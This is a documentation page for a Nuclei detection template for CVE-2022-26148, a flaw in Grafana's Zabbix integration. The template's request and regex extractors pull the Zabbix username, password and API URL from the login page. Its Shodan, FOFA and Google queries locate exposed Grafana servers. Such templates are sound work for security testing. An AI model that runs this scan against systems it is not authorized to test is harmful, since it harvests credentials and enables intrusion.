Skip to content
Nuclei Templates

Grafana & Zabbix Integration - Credentials Disclosure

ID: CVE-2022-26148

Severity: critical

Author: Geekby

Tags: cve,cve2022,grafana,zabbix,exposure

Description

Section titled “Description”

Grafana through 7.3.4, when integrated with Zabbix, contains a credential disclosure vulnerability. The Zabbix password can be found in the api_jsonrpc.php HTML source code. When the user logs in and allows the user to register, one can right click to view the source code and use Ctrl-F to search for password in api_jsonrpc.php to discover the Zabbix account password and URL address.

YAML Source

Section titled “YAML Source”
id: CVE-2022-26148


info:
  name: Grafana & Zabbix Integration - Credentials Disclosure
  author: Geekby
  severity: critical
  description: |
    Grafana through 7.3.4, when integrated with Zabbix, contains a credential disclosure vulnerability. The Zabbix password can be found in the api_jsonrpc.php HTML source code. When the user logs in and allows the user to register, one can right click to view the source code and use Ctrl-F to search for password in api_jsonrpc.php to discover the Zabbix account password and URL address.
  impact: |
    An attacker can obtain sensitive credentials, leading to unauthorized access and potential data breaches.
  remediation: |
    Update to the latest version of the Grafana & Zabbix Integration plugin to fix the vulnerability.
  reference:
    - https://2k8.org/post-319.html
    - https://security.netapp.com/advisory/ntap-20220425-0005/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-26148
    - https://github.com/HimmelAward/Goby_POC
    - https://github.com/Z0fhack/Goby_POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-26148
    cwe-id: CWE-312
    epss-score: 0.15727
    epss-percentile: 0.95795
    cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: grafana
    product: grafana
    shodan-query:
      - title:"Grafana"
      - cpe:"cpe:2.3:a:grafana:grafana"
      - http.title:"grafana"
    fofa-query:
      - app="Grafana"
      - title="grafana"
      - app="grafana"
    google-query: intitle:"grafana"
  tags: cve,cve2022,grafana,zabbix,exposure


http:
  - method: GET
    path:
      - "{{BaseURL}}/login?redirect=%2F"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"zabbix":'
          - '"zbx":'
          - "alexanderzobnin-zabbix-datasource"
        condition: or


      - type: regex
        part: body
        regex:
          - '"password":"(.*?)"'
          - '"username":"(.*?)"'
        condition: and


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        group: 1
        regex:
          - '"password":"(.*?)"'
          - '"username":"(.*?)"'
          - '"url":"([a-z:/0-9.]+)\/api_jsonrpc\.php'
# digest: 4a0a00473045022100d173445ef17cc7d584c86cba84d42f75bc96d7c3a9ab0fd8af320cb0e11e060202207d8836657d3f95de48da80e89dbc701f60bbfef9bca99279f82b50c5e2f3fd0e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-26148.yaml"

View on Github